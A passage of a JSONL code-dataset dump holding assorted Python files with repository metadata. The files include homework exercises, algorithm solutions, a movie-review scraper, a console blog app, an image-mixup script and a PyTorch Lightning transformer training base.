vec_y[i][0])\nprint('vec_y_s = ',vec_y_s)#sigma+y точное\nprint('y с погрешостью')\nplt.plot(vec_y_s)\nplt.show()\nK=np.zeros((11, 11))\nfor i in range(0,11):\n K[i][i]=pow(pow(vec_sigma[i][0],-1),2)\n\nF=np.zeros((11, 3 ))#F 11x3\n\nfor i in range(0,11):\n F[i][0]=fi_1(vec_x[i])\n F[i][1]=fi_2(vec_x[i])\n F[i][2]=fi_3(vec_x[i])\nprint('F= ',F)\n#Найдем a\n#a=np.linalg.inv(F.transpose()* K*F)*F.transpose()*K*vec_y_s\na1=F.transpose().dot(K)\na2=a1.dot(F)\na3=np.linalg.inv(a2)\na4=a3.dot(F.transpose())\na5=a4.dot(K)\na=a5.dot(vec_y_s)\nprint('\\n a= ',a)\nres=[a[0]*fi_1(i)+a[1]*fi_2(i)+a[2]*fi_3(i) for i in range(1,12)]#z=\\sum_{i=1}^n a_i *\\varphi_i(x)\nprint('z функция')\nplt.plot(res)\nplt.show()\nfig, ax = plt.subplots()\nax.scatter(vec_x, vec_y_s)\nax.plot(vec_x, y, 'r', lw=2, label=\"Theoretical\")\nax.plot(vec_x, res, 'b', lw=2, label=\"Fit\")\nax.legend()\nax.set_xlim(0, 12)\nax.set_xlabel(r\"$x$\", fontsize=18)\nax.set_ylabel(r\"$y$\", fontsize=18)\nplt.show()\n","repo_name":"PALinoleum/SEM6","sub_path":"System analisys/SysAnalisys3/SysAnalisys3/SysAnalisys3.py","file_name":"SysAnalisys3.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"576463253","text":"from _emerge.PollScheduler import PollScheduler\n\nclass QueueScheduler(PollScheduler):\n\n\t\"\"\"\n\tAdd instances of SequentialTaskQueue and then call run(). The\n\trun() method returns when no tasks remain.\n\t\"\"\"\n\n\tdef __init__(self, max_jobs=None, max_load=None):\n\t\tPollScheduler.__init__(self)\n\n\t\tif max_jobs is None:\n\t\t\tmax_jobs = 1\n\n\t\tself._max_jobs = max_jobs\n\t\tself._max_load = max_load\n\t\tself.sched_iface = self._sched_iface_class(\n\t\t\tregister=self._register,\n\t\t\tschedule=self._schedule_wait,\n\t\t\tunregister=self._unregister)\n\n\t\tself._queues = []\n\t\tself._schedule_listeners = []\n\n\tdef add(self, q):\n\t\tself._queues.append(q)\n\n\tdef remove(self, q):\n\t\tself._queues.remove(q)\n\n\tdef run(self):\n\n\t\twhile self._schedule():\n\t\t\tself._poll_loop()\n\n\t\twhile self._running_job_count():\n\t\t\tself._poll_loop()\n\n\tdef _schedule_tasks(self):\n\t\t\"\"\"\n\t\t@rtype: bool\n\t\t@returns: True if there may be remaining tasks to schedule,\n\t\t\tFalse otherwise.\n\t\t\"\"\"\n\t\twhile self._can_add_job():\n\t\t\tn = self._max_jobs - self._running_job_count()\n\t\t\tif n < 1:\n\t\t\t\tbreak\n\n\t\t\tif not self._start_next_job(n):\n\t\t\t\treturn False\n\n\t\tfor q in self._queues:\n\t\t\tif q:\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef _running_job_count(self):\n\t\tjob_count = 0\n\t\tfor q in self._queues:\n\t\t\tjob_count += len(q.running_tasks)\n\t\tself._jobs = job_count\n\t\treturn job_count\n\n\tdef _start_next_job(self, n=1):\n\t\tstarted_count = 0\n\t\tfor q in self._queues:\n\t\t\tinitial_job_count = len(q.running_tasks)\n\t\t\tq.schedule()\n\t\t\tfinal_job_count = len(q.running_tasks)\n\t\t\tif final_job_count > initial_job_count:\n\t\t\t\tstarted_count += (final_job_count - initial_job_count)\n\t\t\tif started_count >= n:\n\t\t\t\tbreak\n\t\treturn started_count\n\n","repo_name":"TommyD/gentoo-portage-multilib","sub_path":"pym/_emerge/QueueScheduler.py","file_name":"QueueScheduler.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"8880891277","text":"#!/usr/bin/env python3\n\nimport math\nimport random\nimport numpy as np\nfrom print_time import print_time\n\ndef mtth(x):\n return random.expovariate(math.log(2) / x)\n\ndef trial1():\n league = 1550 + mtth(10)\n if league > 1575:\n league = 1575 + mtth(5)\n if league > 1600:\n league = 1600 + mtth(0.5)\n diet = league + 30 + mtth(5)\n return diet\n\ndef trial2():\n diet = 1625 + mtth(5)\n return diet\n\n@print_time\ndef main():\n trials = 100000\n for i, func in enumerate([trial1, trial2]):\n a = np.fromiter(iter(func, None), np.float, trials)\n q = np.percentile(a, [25, 50, 75], overwrite_input=True)\n print('{0}: {2:.2f} ({1:.2f}-{3:.2f} @ 50%)'.format(i + 1, *q))\n\nif __name__ == '__main__':\n main()\n","repo_name":"zijistark/ck2utils","sub_path":"esc/mtth_mc.py","file_name":"mtth_mc.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"18458058014","text":"stair_num = int(input())\nstairs = []\nfor i in range(stair_num):\n stairs.append(int(input()))\n# stairs = [10,20,15,25,10,20]\nscores = [[],[]]\nscores[0] = [None] * stair_num\nscores[1] = [None] * stair_num\ndef topDown(i, count):\n # print(i, stairs[i])\n if i < 0:\n return 0\n else:\n num = stairs[i] \n if count == 1:\n if scores[0][i-2] == None:\n scores[0][i-2] = topDown(i-2, 0)\n num += scores[0][i-2]\n else:\n num += scores[0][i-2]\n return num\n else:\n if scores[1][i-1] == None:\n scores[1][i-1] = topDown(i-1, count+1)\n if scores[0][i-2] == None:\n scores[0][i-2] = topDown(i-2, 0)\n num += max(scores[1][i-1], scores[0][i-2])\n return num\nif len(stairs) == 1:\n print(stairs[0])\nelse:\n num = topDown(len(stairs)-1, 0)\n # print(\"scores\",scores)\n print(num)\n","repo_name":"hoonzinope/algorithm_study","sub_path":"boj/2579-계단오르기/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2719500239","text":"import re\r\nimport math\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n##################\r\n# 1.영화 제목 수집 #\r\n##################\r\n\r\n# movie_code: 네이버 영화 코드(6자리 숫자)\r\n\r\n\r\n# 제목 수집\r\n# 함수\r\n# - 1.생성, 2.호출\r\n# - 함수는 생성하면 아무 동작 X\r\n# - 반드시 생성 후 호출을 통해서 사용!\r\ndef movie_title_crawler(movie_code):\r\n url = f'https://movie.naver.com/movie/bi/mi/point.naver?code={movie_code}'\r\n result = requests.get(url)\r\n doc = BeautifulSoup(result.text, 'html.parser')\r\n title = doc.select('h3.h_movie > a')[0].get_text()\r\n return title\r\n\r\n\r\n# 리뷰 수집(리뷰, 평점, 작성자, 작성일자) + 제목\r\ndef movie_review_crawler(movie_code):\r\n title = movie_title_crawler(movie_code) # 제목 수집\r\n print(f'>> Start collecting movies for {title}')\r\n\r\n # set {제목, 리뷰, 평점, 작성자, 작성일자}\r\n url = f'https://movie.naver.com/movie/bi/mi/pointWriteFormList.naver?code={movie_code}&type=after&isActualPointWriteExecute=false&isMileageSubscriptionAlready=false&isMileageSubscriptionReject=false&page=1'\r\n result = requests.get(url)\r\n doc = BeautifulSoup(result.text, 'html.parser')\r\n all_count = doc.select('strong.total > em')[0].get_text() # 리뷰 전체 수\r\n\r\n # \"2,480\" : str type(문자열)\r\n # : int type(정수형 숫자)\r\n # ex) A 문자 / 10 나눗셈? (X)\r\n # print(type(all_count))\r\n # \"2480\" -> 2480 (O)\r\n # \"2,480\" -> 문자포함 변환 (X)\r\n # 1.숫자만 추출 : 정규식\r\n numbers = re.sub(r'[^0-9]', '', all_count)\r\n pages = math.ceil(int(numbers) / 10)\r\n print(f'The total number of pages to collect is {pages}')\r\n\r\n # 해당 페이지 리뷰 수집!\r\n count = 0 # 전체 리뷰 수를 count\r\n for page in range(1, pages+1):\r\n url = f'https://movie.naver.com/movie/bi/mi/pointWriteFormList.naver?code={movie_code}&type=after&isActualPointWriteExecute=false&isMileageSubscriptionAlready=false&isMileageSubscriptionReject=false&page={page}'\r\n result = requests.get(url)\r\n doc = BeautifulSoup(result.text, 'html.parser')\r\n review_list = doc.select('div.score_result > ul > li') # 1page 리뷰 10건\r\n\r\n for i, one in enumerate(review_list): # review 1건씩 수집\r\n # 리뷰, 평점, 작성자, 작성일자 + 전처리\r\n review = one.select('div.score_reple > p > span')[-1].get_text().strip()\r\n score = one.select('div.star_score > em')[0].get_text()\r\n # 전처리: 날짜 시간 → 날짜만 추출\r\n # -예: 2022.10.19 15:28 → 2022.10.19\r\n # - 날짜는 항상 16글자로 구성\r\n original_date = one.select('div.score_reple dt > em')[1].get_text()\r\n # 문자열 추출\r\n # [시작:끝+1] , 끝은 포함 X\r\n # [:15] 0~14\r\n # [3:] 3~끝까지\r\n date = original_date[:10] # 문자열 추출\r\n\r\n # 예: 상상나라( [:4] 0~3\r\n # 체리링( [:3] 0~2\r\n # 마징가제트( [:5] 0~4\r\n\r\n original_writer = one.select('div.score_reple dt > em')[0].get_text().strip()\r\n idx_end = original_writer.find('(') # (의 인덱스번호\r\n writer = original_writer[:idx_end]\r\n\r\n count += 1\r\n print(f\"## 리뷰→{count} ##################################################################################\")\r\n print(f'# Review: {review}')\r\n print(f'# Writer: {writer}')\r\n print(f'# Score: {score}')\r\n print(f'# Date: {date}')\r\n","repo_name":"ChoLong02/2022_02_cnu_ai","sub_path":"collector/collector_naver_movie_review.py","file_name":"collector_naver_movie_review.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"12917499990","text":"#modified from mix.py,which is https://github.com/pytorch/vision/blob/main/references/classification/transforms.py\r\n#adopting the core function \"forward\" from the class RandomMixup from mix.py\r\n#mixup param is 0.4\r\n\r\nimport matplotlib.pyplot as plt\r\nimport torch\r\nfrom torch import Tensor\r\nimport numpy as np\r\n\r\nimage1=plt.imread('D:/learning/neural_network/midterm_cifar100_resnet/pytorch-cifar100-master/pic_train/img0.png')\r\nimage2=plt.imread('D:/learning/neural_network/midterm_cifar100_resnet/pytorch-cifar100-master/pic_train/img1.png')\r\nimage3=plt.imread('D:/learning/neural_network/midterm_cifar100_resnet/pytorch-cifar100-master/pic_train/img2.png')\r\n\r\ntarget=[19,29,0]\r\n\r\nimage1=image1.transpose(2,0,1)\r\nimage2=image2.transpose(2,0,1)\r\nimage3=image3.transpose(2,0,1)\r\nbatch=np.stack((image1,image2,image3))\r\nbatch=torch.tensor(batch)\r\ntarget=torch.tensor(target)\r\ntarget = torch.nn.functional.one_hot(target, num_classes=100).to(dtype=batch.dtype)\r\nbatch_rolled = batch.roll(1, 0)\r\ntarget_rolled = target.roll(1, 0)\r\n\r\n# Implemented as on mixup paper, page 3.\r\nlambda_param = 0.4\r\nres=batch_rolled.mul_(1.0 - lambda_param)\r\nres=batch.mul_(lambda_param).add_(res)\r\n\r\ntres=target_rolled.mul_(1.0 - lambda_param)\r\ntres=target.mul_(lambda_param).add_(tres)\r\n\r\nimage1=np.array(batch[0]).transpose(2,1,0)\r\nimage2=np.array(batch[1]).transpose(2,1,0)\r\nimage3=np.array(batch[2]).transpose(2,1,0)\r\n\r\nplt.imsave('mixup1.jpg',image1)\r\nplt.imsave('mixup2.jpg',image2)\r\nplt.imsave('mixup3.jpg',image3)\r\n","repo_name":"Yukikazenya/midterm_resnet18_cifar100","sub_path":"mixup_for_single_jpg.py","file_name":"mixup_for_single_jpg.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11236188189","text":"from model import *\r\n\r\ntrain_data_dir = r\"C:\\Users\\Utilisateur\\Desktop\\bdd_xray\\archive\\chest_xray\\train\"\r\nvalidation_data_dir = r\"C:\\Users\\Utilisateur\\Desktop\\bdd_xray\\archive\\chest_xray\\val\"\r\ntest_data_dir = r\"C:\\Users\\Utilisateur\\Desktop\\bdd_xray\\archive\\chest_xray\\test\"\r\n\r\nclassifier = MachineLearningClassifier(epochs = 1,\r\n nb_train_samples=5212,\r\n nb_validation_samples=17,\r\n class_mode = 'binary',\r\n batch_size = 16,\r\n img_shape = (150,150,1),\r\n train_dir = train_data_dir,\r\n test_dir = test_data_dir,\r\n val_dir = validation_data_dir)\r\n\r\n#classifier.generateur_data(color_mode = 'grayscale')\r\n\r\nclassifier.cnn()\r\nclassifier.model.summary()\r\n# classifier.compile(metrique = 'recall')\r\n\r\n# classifier.fit_gen()\r\n# classifier.print_history(metrique='recall')\r\n\r\n# classifier.interpretation_model()\r\n# classifier.save_model_dl(\"test.h5\")","repo_name":"Bessouat40/keras-sklearn-medical-images-classification","sub_path":"main_cnn.py","file_name":"main_cnn.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45824807987","text":"# Definition for a binary tree node.\na= [3,9,20,None,None,15,7]\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n ans = 0\n if not root:\n return 0\n DFS = [] # stack\n DFS.append((root, 1))\n while DFS:\n root, depth = DFS.pop()\n if depth > ans:\n ans = depth\n if root.left:\n DFS.append((root.left, depth + 1))\n if root.right:\n DFS.append((root.right, depth + 1))\n return ans\n\n\n","repo_name":"zssm/Something","sub_path":"depth_binary_tree.py","file_name":"depth_binary_tree.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16888978399","text":"from Nodes.Node import Node\nfrom Nodes.Evaluable import Evaluable\nfrom Nodes.FacNode import FacNode\nfrom Nodes.Parsing import match_consume, SPECIAL_SYMBOLS\n\nclass TermNode(Node, Evaluable):\n\n def __init__(self):\n self.__fac = FacNode()\n self.__t = None\n\n def parse(self, t):\n self.__line_number = t.currentToken().line_number\n self.__fac.parse(t)\n if t.currentToken().value == SPECIAL_SYMBOLS[\"*\"]:\n match_consume(\"*\", t)\n self.__t = TermNode()\n self.__t.parse(t)\n\n def pretty_print(self, shift=0):\n self.__fac.pretty_print()\n if self.__t is not None:\n print(\" * \", end='')\n self.__t.pretty_print()\n\n def evaluate(self):\n if self.__t is None:\n return self.__fac.evaluate()\n else:\n return self.__fac.evaluate() * self.__t.evaluate()\n","repo_name":"alec-bell/coconut","sub_path":"Nodes/TermNode.py","file_name":"TermNode.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"729927746","text":"import os.path\nimport csv\nfrom post import Post\nimport traceback\n\ndataList = []\ndataPath = \".\\\\basicPython\\simpleBlog\\data.csv\"\n\nif os.path.isfile(dataPath):\n print(\"\\nLoading...\")\n with open(dataPath, \"r\", encoding=\"utf-8-sig\") as f:\n reader = csv.reader(f)\n for i in reader:\n post = Post(int(i[0]), i[1], i[2], int(i[3]))\n dataList.append(post)\nelse:\n with open(dataPath, \"w\", newline=\"\",encoding=\"utf-8-sig\") as f:\n pass\n # 이부분에 파일 저장 루틴 추가\n#print(dataList[0].getTitle()) #객체 자체를 list에 추가하여 관리\n\ndef writePost():\n inTitle = input(\"Please Input the title\\n>>>\")\n inContent = input(\"Please Input the content\\n>>>\")\n '''if len(dataList)==0:\n inID = 1\n else:\n inID = dataList[len(dataList)-1].getId() +1'''\n if len(dataList)==0:\n inID = 1\n else: \n inID = dataList[-1].getId()+1 #dataList의 -1은 마지막 객체를 의미함.\n newPost = Post(inID, inTitle, inContent,0)\n dataList.append(newPost)\n print(\"# Completed posting\")\n # file에 저장하지 않고 dataList에 객체를 추가하여 관리\n '''with open(dataPath, \"a\",newline=\"\", encoding=\"utf-8-sig\") as f:\n writer = csv.writer(f)\n writer.writerow([newPost.getId(),newPost.getTitle(),newPost.getContent(),newPost.getHits()])'''\n\ndef displayIndex(): \n id_list = [] # id를 list로 관리함.\n\n if len(dataList)==0:\n print(\"There is no any post.\")\n return None\n\n while True:\n try:\n refreshData(id_list)\n command = int(input(\"Please select the Number to show more detail.\\n(If you want to go back menu, please Input the -1.)\\n>>>\"))\n except ValueError as e:\n print(\"[ERROR] Please Input the number.\\n\", e, \"\\n\")\n else:\n if command == -1:\n break\n elif command in id_list: # in을 활용해��� 해당 list에 있는 번호인지 확인\n detailPost(command)\n break\n else:\n print(\"There is no the post number in the list\\n\")\n\ndef refreshData(id_list):\n index = ''\n for i in range(len(dataList)):\n index += f\"Number : {dataList[i].getId()}\\nTitle : {dataList[i].getTitle()}\\nHits : {dataList[i].getHits()}\\n\\n\"\n id_list.append(dataList[i].getId())\n print(\"\\n- Index -\\n\" + index) # Title\n\ndef detailPost(command: int):\n for data in dataList: # data 객체(post) 직접 접근 : 중요\n if data.getId() == command:\n data.incresceHits()\n print(\"\\n- View the more datil post -\\n\") # Title\n print(f\"Number : {data.getId()}\")\n print(f\"Hits : {data.getHits()}\")\n print(f\"Title : {data.getTitle()}\")\n print(f\"Content : {data.getContent()}\")\n print(\"\\n\")\n target_data = data\n while True:\n try:\n modiCommand = int(input(\"Modify : 1 Delete : 2\\n(If you want to go back menu, please Input the -1.)\\n>>>\"))\n if modiCommand == -1:\n break\n elif modiCommand == 1:\n update_post(target_data)\n break\n elif modiCommand == 2:\n delte_post(target_data)\n break\n else:\n raise Exception(\"Input value range error.\")\n except ValueError as e:\n print(\"[ERROR] Please Input the number.\\n\", e, \"\\n\")\n except Exception as e:\n print(\"[ERROR] Please Input the right number(1, 2, -1)\\n\", e)\n\ndef update_post(target_data): # data 객체를 사용하여 값에 접근\n ModiTitle = input(\"Please input the title for modification\\n>>>\")\n ModiContent = input(\"Please input the content for modification\\n>>>\")\n oriId = target_data.id\n oriHits = target_data.hits\n target_data.set_post(oriId, ModiTitle, ModiContent, oriHits)\n print(\"Complete the modification.\")\n\ndef delte_post(target_data):\n dataList.remove(target_data)\n print(\"Deleted the Post.\")\n\ndef save_data(dataList:list):\n with open(dataPath, \"w\", newline='', encoding=\"utf-8-sig\") as f:\n writer = csv.writer(f)\n for data in dataList:\n raw = [data.id, data.title, data.content, data.hits]\n writer.writerow(raw)\n print(\"Completed saving data.\")\n\nwhile True:\n try :\n command=int(input(\"\\n- Simple Blog -\\n- Please Select Menu -\\n1. Write Post\\n2. Posts Index\\n3. End\\n>>>\"))\n if command <1 or command >3:\n raise Exception(\"Input value range error.\")\n except ValueError as e:\n traceback.print_exc()\n print(\"[ERROR] Please Input the number from 1 to 3\\n\", e)\n except Exception as e:\n traceback.print_exc()\n print(\"[ERROR] Please Input the right range number from 1 to 3\\n\", e)\n else: # try문에서 else는 error가 발생하지 않을 때 동작임\n if command == 1:\n print(\"Write Posts\\n\")\n writePost() \n elif command ==2:\n displayIndex()\n elif command ==3:\n save_data(dataList)\n print(\"Good Bye!!\")\n break\n\n\n","repo_name":"jungsunglee/pythonStudy","sub_path":"basicPython/simpleBlog/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70870590598","text":"from typing import List\nimport collections\n\n\nclass Solution:\n def __init__(self):\n self.res = 0\n\n def numOfMinutes(self, n: int, headID: int, manager: List[int], informTime: List[int]) -> int:\n ss = collections.defaultdict(list)\n for i, v in enumerate(manager):\n ss[v].append(i)\n\n self.dfs(ss, informTime, headID, 0)\n return self.res\n\n def dfs(self, ss, informTime, cur, curRes):\n curRes += informTime[cur]\n self.res = max(self.res, curRes)\n\n for s in ss[cur]:\n self.dfs(ss, informTime, s, curRes)\n","repo_name":"foolishzhao/leetcode","sub_path":"python3/weekly-contest-179/_5354_Time_Needed_to_Inform_All_Employees/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43650195918","text":"def intersection(a, b):\n c = []\n x = y = 0\n while x < len(a) and y < len(b):\n if b[y] < a[x]:\n y += 1\n elif b[y] == a[x]:\n c.append(b[y])\n y += 1\n x += 1\n elif b[y] > a[x]:\n x += 1\n return c\n\n\nA = list(map(int, input().split()))\nB = list(map(int, input().split()))\nprint(*intersection(A, B))\n","repo_name":"nkuraeva/python-exercises","sub_path":"week6/intersection_lists.py","file_name":"intersection_lists.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25813661174","text":"'''\n1. medium, array\n2. problem statement\n\nGiven an array nums of n integers where n > 1,\nreturn an array output such that\noutput[i] is equal to the product of all the elements of nums except nums[i].\nConstraint: It's guaranteed that the product of the elements of any prefix or\nsuffix of the array (including the whole array)\nfits in a 32 bit integer.\nexample:\nInput: [1,2,3,4]\nOutput: [24,12,8,6]\n\n\n3. solution in plain English or pseudocode\n key point: the product of an element except itself equal\n to the product of all the element to it left\n and the product of all element to it right\n\n\n\n4. implementation\n\n'''\n\n\ndef productExceptSelf(nums):\n n = len(nums)\n toReturn = [None]*n\n toReturn[0] = 1\n prev_right_prod = 1\n\n # compute products in left of each element\n for i in range(1, n, 1):\n toReturn[i] = nums[i-1] * toReturn[i-1]\n\n # compute products in right of each element\n for i in range(n-2, -1, -1):\n new_prod_right = nums[i+1] * prev_right_prod\n # compute the result\n toReturn[i] *= new_prod_right\n prev_right_prod = new_prod_right\n\n return toReturn\n\n\nassert productExceptSelf([1, 2, 3, 4]) == [24, 12, 8, 6]\n\n'''\n5. complexity analysis\ntime: O(N), traverse through the array\nspace: O(1), only use one result array\n\n'''\n","repo_name":"xingvoong/gotta-pay-the-bill","sub_path":"array/prod_array_except_self_lc.py","file_name":"prod_array_except_self_lc.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29014613318","text":"import argparse\nimport logging\nimport os\nimport random\n\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nfrom transformers import (\n AdamW,\n AutoConfig,\n AutoModelWithLMHead,\n AutoTokenizer,\n get_linear_schedule_with_warmup,\n)\n\nlogger = logging.getLogger(__name__)\n\n\ndef set_seed(args: argparse.Namespace):\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n if args.n_gpu > 0:\n torch.cuda.manual_seed_all(args.seed)\n\n\nclass BaseTransformer(pl.LightningModule):\n def __init__(self, hparams: argparse.Namespace, num_labels=None, **config_kwargs):\n \"Initialize a model.\"\n\n super().__init__()\n self.hparams = hparams\n cache_dir = self.hparams.cache_dir if self.hparams.cache_dir else None\n self.config = AutoConfig.from_pretrained(\n self.hparams.config_name\n if self.hparams.config_name\n else self.hparams.model_name_or_path,\n **({\"num_labels\": num_labels} if num_labels is not None else {}),\n cache_dir=cache_dir,\n **config_kwargs,\n )\n self.tokenizer = AutoTokenizer.from_pretrained(\n self.hparams.tokenizer_name\n if self.hparams.tokenizer_name\n else self.hparams.model_name_or_path,\n cache_dir=cache_dir,\n )\n self.model = AutoModelWithLMHead.from_pretrained(\n self.hparams.model_name_or_path,\n config=self.config,\n cache_dir=cache_dir,\n )\n\n def is_logger(self):\n return self.trainer.proc_rank <= 0\n\n def configure_optimizers(self):\n \"Prepare optimizer and schedule (linear warmup and decay)\"\n\n model = self.model\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n optimizer_grouped_parameters = [\n dict(\n params=[\n p\n for n, p in model.named_parameters()\n if not any(nd in n for nd in no_decay)\n ],\n weight_decay=self.hparams.weight_decay,\n ),\n {\n \"params\": [\n p\n for n, p in model.named_parameters()\n if any(nd in n for nd in no_decay)\n ],\n \"weight_decay\": 0.0,\n },\n ]\n optimizer = AdamW(\n optimizer_grouped_parameters,\n lr=self.hparams.learning_rate,\n eps=self.hparams.adam_epsilon,\n )\n self.opt = optimizer\n return [optimizer]\n\n def optimizer_step(\n self, epoch, batch_idx, optimizer, optimizer_idx, second_order_closure=None\n ):\n if self.trainer.use_tpu:\n xm.optimizer_step(optimizer)\n else:\n optimizer.step()\n optimizer.zero_grad()\n self.lr_scheduler.step()\n\n def get_tqdm_dict(self):\n avg_loss = getattr(self.trainer, \"avg_loss\", 0.0)\n tqdm_dict = {\n \"loss\": \"{:.3f}\".format(avg_loss),\n \"lr\": self.lr_scheduler.get_last_lr()[-1],\n }\n return tqdm_dict\n\n def test_step(self, batch, batch_nb):\n return self.validation_step(batch, batch_nb)\n\n def test_end(self, outputs):\n return self.validation_end(outputs)\n\n def train_dataloader(self):\n train_batch_size = self.hparams.train_batch_size\n dataloader = self.load_dataset(\"train\", train_batch_size)\n\n t_total = (\n (len(dataloader.dataset) // (train_batch_size * max(1, self.hparams.n_gpu)))\n // self.hparams.gradient_accumulation_steps\n * float(self.hparams.num_train_epochs)\n )\n scheduler = get_linear_schedule_with_warmup(\n self.opt,\n num_warmup_steps=self.hparams.warmup_steps,\n num_training_steps=t_total,\n )\n self.lr_scheduler = scheduler\n return dataloader\n\n def val_dataloader(self):\n return self.load_dataset(\"dev\", self.hparams.eval_batch_size)\n\n def test_dataloader(self):\n return self.load_dataset(\"test\", self.hparams.eval_batch_size)\n\n def _feature_file(self, mode):\n return os.path.join(\n self.hparams.data_dir,\n \"cached_{}_{}_{}\".format(\n mode,\n list(filter(None, self.hparams.model_name_or_path.split(\"/\"))).pop(),\n str(self.hparams.max_seq_length),\n ),\n )\n\n @staticmethod\n def add_model_specific_args(parser, root_dir):\n parser.add_argument(\n \"--model_name_or_path\",\n default=None,\n type=str,\n required=True,\n help=\"Path to pretrained model or model identifier from huggingface.co/models\",\n )\n parser.add_argument(\n \"--config_name\",\n default=\"\",\n type=str,\n help=\"Pretrained config name or path if not the same as model_name\",\n )\n parser.add_argument(\n \"--tokenizer_name\",\n default=\"\",\n type=str,\n help=\"Pretrained tokenizer name or path if not the same as model_name\",\n )\n parser.add_argument(\n \"--cache_dir\",\n default=\"\",\n type=str,\n help=\"Where do you want to store the pre-trained models downloaded from s3\",\n )\n parser.add_argument(\n \"--learning_rate\",\n default=5e-5,\n type=float,\n help=\"The initial learning rate for Adam.\",\n )\n parser.add_argument(\n \"--weight_decay\",\n default=0.0,\n type=float,\n help=\"Weight decay if we apply some.\",\n )\n parser.add_argument(\n \"--adam_epsilon\",\n default=1e-8,\n type=float,\n help=\"Epsilon for Adam optimizer.\",\n )\n parser.add_argument(\n \"--warmup_steps\",\n default=0,\n type=int,\n help=\"Linear warmup over warmup_steps.\",\n )\n parser.add_argument(\n \"--num_train_epochs\",\n default=3,\n type=int,\n help=\"Total number of training epochs to perform.\",\n )\n\n\nclass LoggingCallback(pl.Callback):\n def on_validation_end(self, trainer: pl.Trainer, pl_module: pl.LightningModule):\n logger.info(\"***** Validation results *****\")\n if pl_module.is_logger():\n metrics = trainer.callback_metrics\n # Log results\n for key in sorted(metrics):\n if key not in [\"log\", \"progress_bar\"]:\n logger.info(\"{} = {}\\n\".format(key, str(metrics[key])))\n\n def on_test_end(self, trainer: pl.Trainer, pl_module: pl.LightningModule):\n logger.info(\"***** Test results *****\")\n\n if pl_module.is_logger():\n metrics = trainer.callback_metrics\n\n # Log and save results to file\n output_test_results_file = os.path.join(\n pl_module.hparams.output_dir, \"test_results.txt\"\n )\n with open(output_test_results_file, \"w\") as writer:\n for key in sorted(metrics):\n if key not in [\"log\", \"progress_bar\"]:\n logger.info(\"{} = {}\\n\".format(key, str(metrics[key])))\n writer.write(\"{} = {}\\n\".format(key, str(metrics[key])))\n\n\ndef add_generic_args(parser):\n parser.add_argument(\n \"--output_dir\",\n default=None,\n type=str,\n required=True,\n help=\"The output directory where the model predictions and checkpoints will be written.\",\n )\n\n parser.add_argument(\n \"--fp16\",\n action=\"store_true\",\n help=\"Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit\",\n )\n\n parser.add_argument(\n \"--fp16_opt_level\",\n type=str,\n default=\"O1\",\n help=\"For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3'].\"\n \"See details at https://nvidia.github.io/apex/amp.html\",\n )\n\n parser.add_argument(\"--n_gpu\", type=int, default=1)\n parser.add_argument(\"--n_tpu_cores\", type=int, default=0)\n parser.add_argument(\n \"--max_grad_norm\", default=1.0, type=float, help=\"Max gradient norm.\"\n )\n parser.add_argument(\n \"--do_train\", action=\"store_true\", help=\"Whether to run training.\"\n )\n parser.add_argument(\n \"--do_predict\",\n action=\"store_true\",\n help=\"Whether to run predictions on the test set.\",\n )\n parser.add_argument(\n \"--gradient_accumulation_steps\",\n type=int,\n default=1,\n help=\"Number of updates steps to accumulate before performing a backward/update pass.\",\n )\n\n parser.add_argument(\n \"--seed\", type=int, default=42, help=\"random seed for initialization\"\n )\n\n\ndef generic_train(model: BaseTransformer, args: argparse.Namespace):\n # init model\n set_seed(args)\n\n if (\n os.path.exists(args.output_dir)\n and os.listdir(args.output_dir)\n and args.do_train\n ):\n raise ValueError(\n \"Output directory ({}) already exists and is not empty.\".format(\n args.output_dir\n )\n )\n\n checkpoint_callback = pl.callbacks.ModelCheckpoint(\n filepath=args.output_dir,\n prefix=\"checkpoint\",\n monitor=\"val_loss\",\n mode=\"min\",\n save_top_k=5,\n )\n\n train_params = dict(\n accumulate_grad_batches=args.gradient_accumulation_steps,\n gpus=args.n_gpu,\n max_epochs=args.num_train_epochs,\n early_stop_callback=False,\n gradient_clip_val=args.max_grad_norm,\n 